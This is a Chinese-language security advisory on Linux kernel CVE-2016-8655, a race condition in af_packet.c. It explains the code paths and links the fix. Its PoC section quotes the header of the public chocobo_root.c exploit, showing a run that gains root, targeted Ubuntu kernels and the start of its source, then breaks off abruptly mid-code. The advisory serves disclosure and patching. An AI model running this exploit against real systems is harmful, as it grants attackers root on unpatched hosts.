Seclists.org最新披露了Linux的竞争条件漏洞，漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。
漏洞编号
CVE-2016-8655
漏洞概述
Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞，此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限，就能利用该漏洞致拒绝服务（系统崩溃）或者以管理员权限执行任意代码
packet_set_ring在创建ring buffer的时候，如果packet版本为TPACKET_V3，则会初始化struct timer_list。在packet_set_ring完成之前，其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除，也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。
这个BUG最早出现于2011年4月19号的代码中，详细参考：
https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a
该BUG已经于2016年11月30号被修复，详细参考：
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c
漏洞细节
要创建AF-PACKET套接字，在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中（Ubuntu、Fedora等），这可以通过未授权进程获取。这个漏洞在容器中即可触发，最终攻陷主机内核。在Android系统中，带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字，并触发该BUG。
问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt()，就能搞定packet_set_ring()。
如果packet套接字版本为TPCKET_V3，调用init_prb_bdqc()的时候，packet_set_ring()就会对timer_list对象进行初始化。
...
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
}
...
创建timer的函数流为：
packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->
prb_init_blk_timer()->prb_init_blk_timer()->init_timer()
该套接字关闭时，packet_set_ring()会再度被调用，来释放ring buffer，并删除先前初始化的timer（当packet版本大于TPACKET_V2时）：
...
if (closing && (po->tp_version > TPACKET_V2)) {
/* Because we don't support block-based V3 on tx-ring */
if (!tx_ring)
prb_shutdown_retire_blk_timer(po, rb_queue);
}
...
此处的问题就出在，在init_prb_bdqc()执行之后，packet_set_ring()返回之前，我们可以将packet版本改为TPACKET_V1。
不过ring buffer被初始化之后，会存在拒绝修改套接字版本的情况，但这也根本不是什么问题：
...
case PACKET_VERSION:
{
...
if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)
return -EBUSY;
...
在init_prb_bdqc()和packet_set_ring()的交换（rb->pg_vec, pg_vec）调用之间，还是有足够的空间来搞定这条代码路径。
此时，套接字关闭时，由于套接字版本已经为TPACKET_V1，packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中，调用kfree()就会释放。
随后timer对象之上就形成了use after free漏洞，可被各种针对SLAB分配器的攻击利用。最终timer过期后，就可导致内核跳转至构建的函数指针。
在packet_setsockopt()中用lock_sock(sk)，同时在packet_set_ring()起始就锁定packet版本即可解决问题。
新版Ubuntu内核已经放出，用户升级至新版Ubuntu即可解决问题。
漏洞PoC
按照发现该漏洞的作者Philip Pettersson所说，漏洞PoC会在明天放出…
PoC地址：https://www.exploit-db.com/exploits/40871/
/* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64 vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable.. new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered! stage 1 completed registering new sysctl.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->
hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added! stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4. tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee 11/2016 by rebel */ #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h> volatile int barrier = 1; volatile int vers_switcher_done = 0; struct offset { char *kernel_version; unsigned long proc_dostring; unsigned long modprobe_path; unsigned long register_sysctl_table; unsigned long set_memory_rw; }; struct offset *off = NULL; //99% of these offsets haven't actually been tested 修复方法
如上所述，各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章 讲解了在不重启服务器的情况下，就对Ubuntu Linux内核打上补丁的方案。
相关链接
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655
https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c
https://www.ubuntu.com/usn/usn-3151-1/
* 参考来源：Seclists.org ，转载请注明来自1024rd.COM
